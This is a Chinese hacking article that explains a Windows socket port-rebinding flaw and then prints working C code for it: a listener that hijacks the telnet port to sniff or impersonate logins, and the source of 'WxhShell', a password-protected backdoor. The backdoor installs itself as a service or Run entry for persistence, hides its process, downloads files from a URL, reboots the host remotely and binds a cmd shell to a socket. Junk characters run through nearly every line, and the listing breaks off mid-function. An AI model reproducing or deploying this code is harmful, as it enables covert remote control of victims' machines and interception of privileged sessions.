在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
_MfD s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
~?U*6P)o kWW w<cA saddr.sin_family = AF_INET;
Q6'nSBi:A_ ^p=L\SJ saddr.sin_addr.s_addr = htonl(INADDR_ANY);
_[K#O,D, \Fb| {6+ bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
R_kQPP e3m*i}K} 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
k\7:{y@, '&yeQ 这意味着什么?意味着可以进行如下的攻击:
EKZVF`L jirbUl 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
XL5Es:"+?S {9 PR()_ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
~<9{#uM
!#x= JX 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
z@VP:au .$rC0<G[K 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
5VE2@Fn} aT!;{+ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
6Bt=^~d }!d;(/)rb 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
xWX*tJ4 C)RBkcb 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
,/,9j{|"j mpay^.(% #include
_GoVx=t
#include
7;}l\VXHm #include
1np^(['ih #include
#AViM_u DWORD WINAPI ClientThread(LPVOID lpParam);
l{WjDed int main()
yL1bS|@ {
r':TMhzHq? WORD wVersionRequested;
O#kq^C} DWORD ret;
6Y384 WSADATA wsaData;
e}{U7xQm1 BOOL val;
8E^@yZo{ SOCKADDR_IN saddr;
*cv}*D SOCKADDR_IN scaddr;
=XY]x int err;
GdmmrfXB SOCKET s;
;/8 {N0 SOCKET sc;
'r}fZ int caddsize;
UlovXb HANDLE mt;
!?FK We DWORD tid;
7C,T&g
1: wVersionRequested = MAKEWORD( 2, 2 );
=y]$0nh err = WSAStartup( wVersionRequested, &wsaData );
gn1(4
o if ( err != 0 ) {
@R2at printf("error!WSAStartup failed!\n");
= (,
^du' return -1;
GA3sRFZdQ }
F}
DUEDND* saddr.sin_family = AF_INET;
b"j|Bb mDMt5(. //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
4FMF|U 8Jr?ZDf` saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
w!3>N"em saddr.sin_port = htons(23);
cPF<D$B if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
5\4g>5PD {
0t.p1 printf("error!socket failed!\n");
{padD p return -1;
~6[*q~B }
3{Q,hpZN val = TRUE;
G*8GGWB^a //SO_REUSEADDR选项就是可以实现端口重绑定的
~P f5ORoe if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
`)>7)={ {
3.R#&Zxt printf("error!setsockopt failed!\n");
gUax'^w;V; return -1;
)mcEQ -!b }
m6n!rRQ^U //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
(M-ZQ
- //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
(k"_># % //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
Ukphd$3J= Jobiq]|> if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
$&P?l=UG {
u=l1s1> ret=GetLastError();
$0Yh!L ?\ printf("error!bind failed!\n");
omX?Bl return -1;
]`=X'fED }
{U!uVQC' listen(s,2);
ZU&"73 while(1)
BN_7Ay/k {
ZU2laqa_ caddsize = sizeof(scaddr);
'?*g%Yuz //接受连接请求
3K0tC= sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
GUB`|is^ if(sc!=INVALID_SOCKET)
5_o$<\I\ {
U yqXMbw@ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
hsLzj\)6 if(mt==NULL)
!b|' Vp^U {
QDmYSY$ printf("Thread Creat Failed!\n");
T3&`<%,f break;
keAcKhj }
=H5\$&xj4. }
S[:xqzyDg CloseHandle(mt);
ZXb0Y2AVx }
hq>Csj==@ closesocket(s);
V_^@ WSACleanup();
Z'v-F^ return 0;
"dh:-x6 }
q!,zq DWORD WINAPI ClientThread(LPVOID lpParam)
Jc*XXu) {
CZ{k@z`r SOCKET ss = (SOCKET)lpParam;
D$eB ,~
SOCKET sc;
F1azZ( unsigned char buf[4096];
4jmK]. SOCKADDR_IN saddr;
}odV_WT long num;
dWRrG-' DWORD val;
uV6g[J DWORD ret;
,2[ra9n //如果是隐藏端口应用的话,可以在此处加一些判断
p#8W#t$ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
do/)~9[4\ saddr.sin_family = AF_INET;
':
F}3At saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
B)SLG]72f saddr.sin_port = htons(23);
b%(6EiUA if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
ZDLMMXx> {
USML~]G
z printf("error!socket failed!\n");
uYO|5a<f~ return -1;
/M0/-pV9 }
V2&^!#=s
val = 100;
&R-H"kK? if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
"
BTE {
ak:v3cQR ret = GetLastError();
!%L,*' return -1;
P @%.`8 }
8|1^|B(l if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
h+UnZfm {
"AueLl) ret = GetLastError();
.q`{Dgc~ return -1;
;1AG3P' }
H6kf
K5, if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
`\$8`Zb; {
`|e!Kq?#Q printf("error!socket connect failed!\n");
KlxN~/gyik closesocket(sc);
`d]Z)*9 closesocket(ss);
h#YD~!aJ return -1;
P8yIegPY }
T8J4C=?/ while(1)
FVWfDQ$&v {
Rhgj&4 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
n[+'OU[ //如果是嗅探内容的话,可以再此处进行内容分析和记录
qojXrSb"y //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
JMV50 y num = recv(ss,buf,4096,0);
,32xcj}j)r if(num>0)
)6oGF>o> send(sc,buf,num,0);
hXL|22>w< else if(num==0)
vn').\,P2O break;
U..<iNQE5 num = recv(sc,buf,4096,0);
!|{IVm/J if(num>0)
|WqOk~)[Z3 send(ss,buf,num,0);
6DF else if(num==0)
0~A#>R' break;
7_jE[10 }
9t:] closesocket(ss);
t1]6(@mj5 closesocket(sc);
*7gT}O;p 5 return 0 ;
HD`>-E# }
l[h'6+o nS.G~c| }<m{~32M ==========================================================
Q4'C;<\@(Q ?Hz2-Cn 下边附上一个代码,,WXhSHELL
UGKaOol. '&yg{n ==========================================================
^QL 877 HOW7cV'X #include "stdafx.h"
fv'4f$U NlPS# #include <stdio.h>
`aSM8C\ #include <string.h>
j
BS4vvX? #include <windows.h>
laREjN/\` #include <winsock2.h>
'ig, ATY #include <winsvc.h>
[=M% #include <urlmon.h>
K'b*A$5o H[&@}v,L #pragma comment (lib, "Ws2_32.lib")
d"<F!?8 #pragma comment (lib, "urlmon.lib")
Cnh|D^{s *o?i:LE] #define MAX_USER 100 // 最大客户端连接数
Epjff@7A #define BUF_SOCK 200 // sock buffer
]#eh&jw #define KEY_BUFF 255 // 输入 buffer
wT_^'i*@I 6SEltm( #define REBOOT 0 // 重启
[1Dm<G
u@ #define SHUTDOWN 1 // 关机
"ED8z|]j wq0aF"k #define DEF_PORT 5000 // 监听端口
LsTffIP s@@1
*VQ #define REG_LEN 16 // 注册表键长度
$Xf (^K #define SVC_LEN 80 // NT服务名长度
R 1zC.m KFhG ( // 从dll定义API
F8mC?fbK9 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
I0w%8bs typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
wK5_t[[ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
>M4"|W U_ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
%$X\" Uene=Q6> // wxhshell配置信息
/=T"=bP#/ struct WSCFG {
y?:dE.5p| int ws_port; // 监听端口
@6MAX" char ws_passstr[REG_LEN]; // 口令
3)E(RyQA3 int ws_autoins; // 安装标记, 1=yes 0=no
o}D![/ char ws_regname[REG_LEN]; // 注册表键名
vOT*iax0 char ws_svcname[REG_LEN]; // 服务名
;sQbn|=e" char ws_svcdisp[SVC_LEN]; // 服务显示名
"kSwa16O char ws_svcdesc[SVC_LEN]; // 服务描述信息
4F#%f#" char ws_passmsg[SVC_LEN]; // 密码输入提示信息
rxE&fjW int ws_downexe; // 下载执行标记, 1=yes 0=no
L,M+sN char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
zy)i1d char ws_filenam[SVC_LEN]; // 下载后保存的文件名
{BOLPE-
tbG8MXX };
f1cl'; ~"7J}[i5 // default Wxhshell configuration
%KV2<t? struct WSCFG wscfg={DEF_PORT,
Rt4di^v "xuhuanlingzhe",
X>3^a'2,E 1,
19I:%$U3 "Wxhshell",
OgMI "Wxhshell",
$I8[BYblB "WxhShell Service",
ixI:@#5wY "Wrsky Windows CmdShell Service",
[thboP.? "Please Input Your Password: ",
azGnP3_ 1,
]N}]d
+^6 "
http://www.wrsky.com/wxhshell.exe",
K2|7% "Wxhshell.exe"
\y~)jq:d" };
dU+0dZdKO xrI}3T // 消息定义模块
eP |)SU char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
In(NF# char *msg_ws_prompt="\n\r? for help\n\r#>";
1uM/2sX char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
Je~p%m#e;K char *msg_ws_ext="\n\rExit.";
OmNn,PCl8 char *msg_ws_end="\n\rQuit.";
a<p
%hY3 char *msg_ws_boot="\n\rReboot...";
,+-h7^{` char *msg_ws_poff="\n\rShutdown...";
n-OWwev) char *msg_ws_down="\n\rSave to ";
sp{j!NSL 7^wE$7hS char *msg_ws_err="\n\rErr!";
!R{em4 8D char *msg_ws_ok="\n\rOK!";
ha>SZnKD{ K+> V|zKuk char ExeFile[MAX_PATH];
P#bm uCOS int nUser = 0;
k~|ZO/X@l% HANDLE handles[MAX_USER];
nKu(XgFv int OsIsNt;
)@$
&FFIu npj5U/
SERVICE_STATUS serviceStatus;
ZbyG*5iq SERVICE_STATUS_HANDLE hServiceStatusHandle;
E{oB2;P ^ 0eO\wc?O // 函数声明
sD2Qm int Install(void);
.f%vDBJS int Uninstall(void);
.b~OMTHuvM int DownloadFile(char *sURL, SOCKET wsh);
JD-Becz int Boot(int flag);
!PI0oh void HideProc(void);
[oJ& J>U' int GetOsVer(void);
!Sfe{/$w int Wxhshell(SOCKET wsl);
B3.X}ys# void TalkWithClient(void *cs);
ir+8:./6 int CmdShell(SOCKET sock);
Bxt_a.LthH int StartFromService(void);
GZ,j?@ int StartWxhshell(LPSTR lpCmdLine);
'tSnH&c #:I^&~:
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
4K'|DO|dH VOID WINAPI NTServiceHandler( DWORD fdwControl );
U,d2DAvt -s33m]a; // 数据结构和表定义
iz(m3k:w SERVICE_TABLE_ENTRY DispatchTable[] =
,i;9[4QMX {
8_Jj+ {wscfg.ws_svcname, NTServiceMain},
`>y[wa>9r {NULL, NULL}
D/*vj| };
^@Y9!G= 9<w=),R`8 // 自我安装
kp.|gzA6 int Install(void)
d4V 2[TX {
Es:5yX! char svExeFile[MAX_PATH];
wH!}qz/ HKEY key;
uzO{{S- strcpy(svExeFile,ExeFile);
V"BVvSNu v$Dh.y // 如果是win9x系统,修改注册表设为自启动
VAt>ji7c if(!OsIsNt) {
dkETM, if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
#yX^?+Rc RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
R'r|E_ RegCloseKey(key);
a0)vvo=bz if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
7Z
VVR*n| RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
zK,~ 37)\ RegCloseKey(key);
:nt}7Dn' return 0;
PXR0 Yn }
H]U"+52h }
tI
`w;e%HN }
2"zI R( else {
Hc>([?P%t +$'e4EwqV // 如果是NT以上系统,安装为系统服务
^sJ1 ^LT SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
YBR)s\* if (schSCManager!=0)
fO0-N>W'P {
FU^Y{sbDg SC_HANDLE schService = CreateService
rnJS[o0 (
ST#PMb'izn schSCManager,
;U8dm" wscfg.ws_svcname,
LZbRQ"!!o wscfg.ws_svcdisp,
zj%cd; SERVICE_ALL_ACCESS,
69N1 mP SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
0qOM78rE SERVICE_AUTO_START,
}`#j;H$i SERVICE_ERROR_NORMAL,
U9bFUK/z svExeFile,
LPsh?Ca?N NULL,
O2/%mFS. NULL,
{c.}fyN NULL,
!d/`[9jY NULL,
% cU-5\xF NULL
o-~-F+mj# );
(
?atGFgu if (schService!=0)
Q,ZkeWQ7% {
9
Wxq) CloseServiceHandle(schService);
goG]WGVr CloseServiceHandle(schSCManager);
u!sSgx= strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
D86K$IT strcat(svExeFile,wscfg.ws_svcname);
,oy4V ^B& if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
e,PQ)1 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
b=6ZdN1 RegCloseKey(key);
h}Fu"zK return 0;
wCqE4i }
jJiCF,m }
Y;~EcM CloseServiceHandle(schSCManager);
Tom}sFl][ }
:FEd:0TS }
'5&B~ 1& x'VeL| return 1;
bvt-leA= }
/ nC$?w oY|
(M_; // 自我卸载
F>hVrUD8 int Uninstall(void)
Zb5T90s% {
h9@gs,' HKEY key;
Py( w T%w 2nOe^X!* if(!OsIsNt) {
C{lB/F/|! if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
0~LnnDN RegDeleteValue(key,wscfg.ws_regname);
'eTpcrS3 RegCloseKey(key);
YB(#]H|8S if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
+ xkMW%e< RegDeleteValue(key,wscfg.ws_regname);
G5C#i7cpm RegCloseKey(key);
XmE_ F return 0;
?Vb=4B{~ }
U^WQWa }
X F0*d~4 }
)[a?J, else {
lBYS>4~ <ZN)
/,4PS SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
0:nt#n~_ if (schSCManager!=0)
.-gm"lB {
mAtG&my) SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
0.3[=a43 if (schService!=0)
"@):*3
4 {
I=Lj_UF4 if(DeleteService(schService)!=0) {
m''i E CloseServiceHandle(schService);
P7^TRrMF CloseServiceHandle(schSCManager);
FL*w(Br. return 0;
/3bca !O }
%E=,H?9&> CloseServiceHandle(schService);
lqwJ F & }
^U|CNB%. CloseServiceHandle(schSCManager);
%QlBFl0a }
|R|U z` }
RaJ}>e v:so85(S< return 1;
7cQHRM+1 }
m/"=5*pA zke~!"iq // 从指定url下载文件
tI6USN% int DownloadFile(char *sURL, SOCKET wsh)
%d~9at6-B {
~`Gcq"7,! HRESULT hr;
b&_u
O char seps[]= "/";
W.7d{
@n char *token;
4w/t$lR char *file;
&bRxy`ZH char myURL[MAX_PATH];
=.3P)gY) char myFILE[MAX_PATH];
\q)1TTnHS WG!;,~f>o strcpy(myURL,sURL);
8aIq#v token=strtok(myURL,seps);
5d>YE while(token!=NULL)
.$T:n[@ {
&B>uPZ] file=token;
w1/T>o token=strtok(NULL,seps);
#+5mpDh
}
E* DVQ3~ sGm(Aax*0 GetCurrentDirectory(MAX_PATH,myFILE);
(2a"W` strcat(myFILE, "\\");
]9l% strcat(myFILE, file);
q?'gwH37 send(wsh,myFILE,strlen(myFILE),0);
"5z6~dq send(wsh,"...",3,0);
DcvmeGl hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
OrqJo!FEg{ if(hr==S_OK)
jn3|9x return 0;
7ump:| else
\(v_", return 1;
2wimP8 I3y4O^? }
q.K$b R@{/$p: // 系统电源模块
yqc(32rF! int Boot(int flag)
i)^ZH#Gp {
)-:f;#xJ HANDLE hToken;
X QoT},C TOKEN_PRIVILEGES tkp;
N[D\@o It:QXLi; if(OsIsNt) {
Xcpm?aTo OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
>"My\o LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
FZI 4?YD?< tkp.PrivilegeCount = 1;
E;Ftop tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
H\>I&gC' AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
B0SmE_u_N if(flag==REBOOT) {
|~vQ0D
if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
hx;kEJ return 0;
h[)aRo }
8@*|T?r else {
?01""Om if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
Y8xnvK* return 0;
B*?PB] }
g.sV$.T2K }
T1]X else {
uTt:/gm if(flag==REBOOT) {
6G})h! if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
' /* rCB return 0;
SX<mj }
QKkr~?sTO else {
])l[tVHm if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
2%yJo7f$[ return 0;
%H~gN9Vn#@ }
)'CEWc% }
zjZTar1Re :NyE d<' return 1;
e*Med)tc^$ }
ZvKMRW 4gNRln- // win9x进程隐藏模块
~0{Kga void HideProc(void)
^<Tp-,J$EN {
>o=p5#{ Z|GkM5QH: HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
qiryC7.E if ( hKernel != NULL )
P&^7wud-sb {
E.bbIV6mQ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
(` Mz.VN ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
A)\DPLAG FreeLibrary(hKernel);
Bx!` UdRn }
~,1q :Kue m
=F@CA~C return;
?7ZlX?D[ }
N6 8>` ng*E9Puu[ // 获取操作系统版本
q,&T$Tw int GetOsVer(void)
~8{3Fc 0 {
e>Y2q|S85 OSVERSIONINFO winfo;
-{%''(G winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
xJGeIh5 GetVersionEx(&winfo);
)fL*Ws6 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
PCfs6.*5Mf return 1;
5z>\'a1U else
I@M^Wu]wW return 0;
~B\: }
cN>i3}fq e.^9&Fk"N // 客户端句柄模块
X5<.%@Z int Wxhshell(SOCKET wsl)
mnjA8@1 {
c3t8yifQ SOCKET wsh;
1hS~!r'qqv struct sockaddr_in client;
c/U6K
yiK DWORD myID;
,4,c-
I!O S&8:u while(nUser<MAX_USER)
!l^AKn| {
S$WM&9U int nSize=sizeof(client);
c10).zZ wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
nHrCSfK if(wsh==INVALID_SOCKET) return 1;
mh]$g<*m LTct0Gh handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
W10fjMC}^ if(handles[nUser]==0)
1z:N$O_v closesocket(wsh);
H\bIO!vb else
Q>ytO'v1 nUser++;
TMsoQ82 }
dhkpkt<G8 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
V5r7eC \TlUC<urP return 0;
gVkI=J }
vDvGT<d V/e_:xECC // 关闭 socket
0&@pX~h: void CloseIt(SOCKET wsh)
>6+K"J-@ {
-5.%{Go$[ closesocket(wsh);
2N 4> nUser--;
I|z#Aoc ExitThread(0);
W
F<V2o{k }
ZRfa!9vl yFsXI0I[p // 客户端请求句柄
Jo <6M' void TalkWithClient(void *cs)
;$< ek(i7 {
UV.9KcN. T@.D5[q0: SOCKET wsh=(SOCKET)cs;
MNC!3d(D\R char pwd[SVC_LEN];
koZp~W- char cmd[KEY_BUFF];
^i\1c-/ char chr[1];
DA~ELje^j int i,j;
I_7EfAqg( wP"|$HN while (nUser < MAX_USER) {
w-Fk&dC69 A!yLwkc:5 if(wscfg.ws_passstr) {
lJ#>Y5Qg if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
[hbp#I~*[ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
ze N!*VG //ZeroMemory(pwd,KEY_BUFF);
/|AuI qW i=0;
IIiN1
Lu,5 while(i<SVC_LEN) {
F-0PmO~3+W 5V!XD9P' // 设置超时
taaAwTtk?A fd_set FdRead;
i]pG}SJ struct timeval TimeOut;
eCD,[At/ FD_ZERO(&FdRead);
U{(07GNm# FD_SET(wsh,&FdRead);
8 GN{*Hg TimeOut.tv_sec=8;
Ya 4$7|( TimeOut.tv_usec=0;
^MV%\0o int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
V.:A'!$# if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
(=V[tI+Ngt bz]O(` if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
U:hC!t: pwd
=chr[0]; %QLYNuG
if(chr[0]==0xd || chr[0]==0xa) { [zEP|
pwd=0; zAJUL
break; @8yFM%
} y: [] +
i++; 4+,Z'J%\[7
} %tQ{Hf~
pUG fm
// 如果是非法用户,关闭 socket J?fh3RW9
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Q@VnJ,
} X(28xbd|
X{9o8
*V
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); !5!$h`g
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1:UC\ WW
F:GKnbY
while(1) { F6VIH(
f`=T@nA
ZeroMemory(cmd,KEY_BUFF); FH`&C*/F0Y
15DK\_;
// 自动支持客户端 telnet标准 [{LnE:
j=0; j)6B^!
while(j<KEY_BUFF) { [qMdOY%jx
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ER1mA:8>E
cmd[j]=chr[0]; [;YBX]t
if(chr[0]==0xa || chr[0]==0xd) { BM~niW;k
cmd[j]=0; pu*u[n
break; Kg-X]yu*0
} L b;vrh;A
j++; E9 q;>)}
} }(EOQ2TI
dU^<7 K:S
// 下载文件 f<p4Pkv
if(strstr(cmd,"http://")) { bTp2)a^G
send(wsh,msg_ws_down,strlen(msg_ws_down),0); 8Flf,"a
if(DownloadFile(cmd,wsh)) ?QT"sj64w
send(wsh,msg_ws_err,strlen(msg_ws_err),0); #(g+jb0E
else ~(OIo7#;
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]Ja8i%LjOG
} fYM6wYJ
else { 810<1NP
9|A-oS
switch(cmd[0]) { f<altz_\q
<;E[)tv
// 帮助 RXS| -_$
case '?': { U]U)'
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); w[oQ}5?9'
break; 5=h'!|iY
} fB,1s}3Hn
// 安装 ]O=S2Q
case 'i': { =C>`}%XT}
if(Install()) EZumJ."
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1(7.V-(G
else 'Mx K}9
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); R:BBNzY}f
break; 3H}~eEg,
} S*m`'
// 卸载 /uXRZ
case 'r': { {F+M&+``
if(Uninstall()) qTh='~m4[
send(wsh,msg_ws_err,strlen(msg_ws_err),0); K#f`_SCW
else +[8Kl=]L
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); K[>@'P}y
break; x D=qU
} X$|TN+Ub
// 显示 wxhshell 所在路径 0Q-
Mxcj
case 'p': { OWXye4`*
char svExeFile[MAX_PATH]; 6SBvn%
strcpy(svExeFile,"\n\r"); H@2"ove-uC
strcat(svExeFile,ExeFile); Ma=6kX]
send(wsh,svExeFile,strlen(svExeFile),0); >yA,@%X
break; t-7[Mk9@
} feI[M;7u
// 重启 +>WC^s
case 'b': { JQ/t, v$G
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); j*La,iF
if(Boot(REBOOT)) S|q!? /jqj
send(wsh,msg_ws_err,strlen(msg_ws_err),0); i
B!h Ebz
else { 2~&hstd%
closesocket(wsh); 9oz (=R
ExitThread(0); qM1)3.)[:
} Jm(&G
break; &I}T<v{f
} "?eH=!
// 关机 [71#@^ye
case 'd': { jq("D,
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); FSU%?PxO
if(Boot(SHUTDOWN)) )}Rfa}MD
send(wsh,msg_ws_err,strlen(msg_ws_err),0); P7wqZ?
else { wsJ%*
eYf
closesocket(wsh); 7moElh v
ExitThread(0); ^?s~Fk_V
} TXJY2J*24
break; m/<F 5R
} u
JQaHL!
// 获取shell iJZ|[jEDV
case 's': { Kl aZZJ
CmdShell(wsh); .A*VLF*m
closesocket(wsh); zD)IU_GWa
ExitThread(0); ckf<N9
break; KZrMf77=
} oEQ{m5O9
// 退出
wTlK4R#
case 'x': { 9QH9gdiw
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); gv#c~cX]
CloseIt(wsh); pFsCd"zv
break; 8Q^6ibE
} ~&DB!6*
// 离开 XVrm3aj(m
case 'q': { R81{<q'%X
send(wsh,msg_ws_end,strlen(msg_ws_end),0); SE;Tujwhqi
closesocket(wsh); )+n,5W
WSACleanup(); zNV!@Yr
exit(1); $!|8g`Tm
break; cebs.sF:
} b W=.K>|
} #+K
Kvk
} &2io^AP
>bfYy=/
// 提示信息 ([,vX"4
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); OU,PO2xX9
} Pt6hGSo.
} aNE9LAms
3XeXzPj
return; 4<G?
} t."g\;
<%d51~@={I
// shell模块句柄 O{k89{
int CmdShell(SOCKET sock) -?< Ww{
{ w4e%-Ln
STARTUPINFO si; t&GA6ML#s
ZeroMemory(&si,sizeof(si)); 0?lp/|K
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; K*R)V/B/l
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; NP K#].F
PROCESS_INFORMATION ProcessInfo; OUEI~b1
char cmdline[]="cmd"; J [ YtA
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); _tWJXv~;
return 0; .FIt.XPzv
} 1t/dxB;
:/C ?FHs9
// 自身启动模式 uiktdZ/f
int StartFromService(void) 0a"igH}
{ UL86-R!
typedef struct 8tb6 gZz
{ m#oh?@0}
DWORD ExitStatus; J\het2?\
DWORD PebBaseAddress; j/)"QiS*?
DWORD AffinityMask; XR*Q|4
DWORD BasePriority; tHrK~|
ULONG UniqueProcessId; 51I|0ly
